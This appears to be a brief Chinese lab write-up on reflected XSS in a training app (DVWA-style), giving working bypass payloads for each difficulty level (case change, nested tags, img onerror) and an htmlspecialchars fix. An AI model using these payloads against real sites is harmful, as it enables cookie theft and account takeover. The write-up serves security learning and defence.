xss reflected
0x01 low
我寻思也没有防护呀
<script>alert(document.cookie)</script>
弹
0x02 medium
str_replace区分大小写,使用大小写可绕过
<Script>alert(document.cookie)</script>
str_replace只过滤出现的第一次,可用双写绕过
<scr<script>ipt>alert(document.cookie)</script>
0x03 high
正则过滤
换个标签绕过,比如img
<img src=1 onerror=alert(document.cookie)>
0x04 impossible
使用Php内置函数htmlspecialchars过滤输入内容
htmlspecialchars 函数会将 < 和 > 转换成 html 实体而不是当做标签,所以我们插入的语句并不会被执行
0x05 Repair 修复漏洞
$message = htmlspecialchars($message); $name = htmlspecialchars($name);
htmlspecialchars非常好用,将尖括号转化为html实体,浏览器前端代码不执行
或者用正则把尖括号过滤也能成,尖括号在js或html中被广泛用到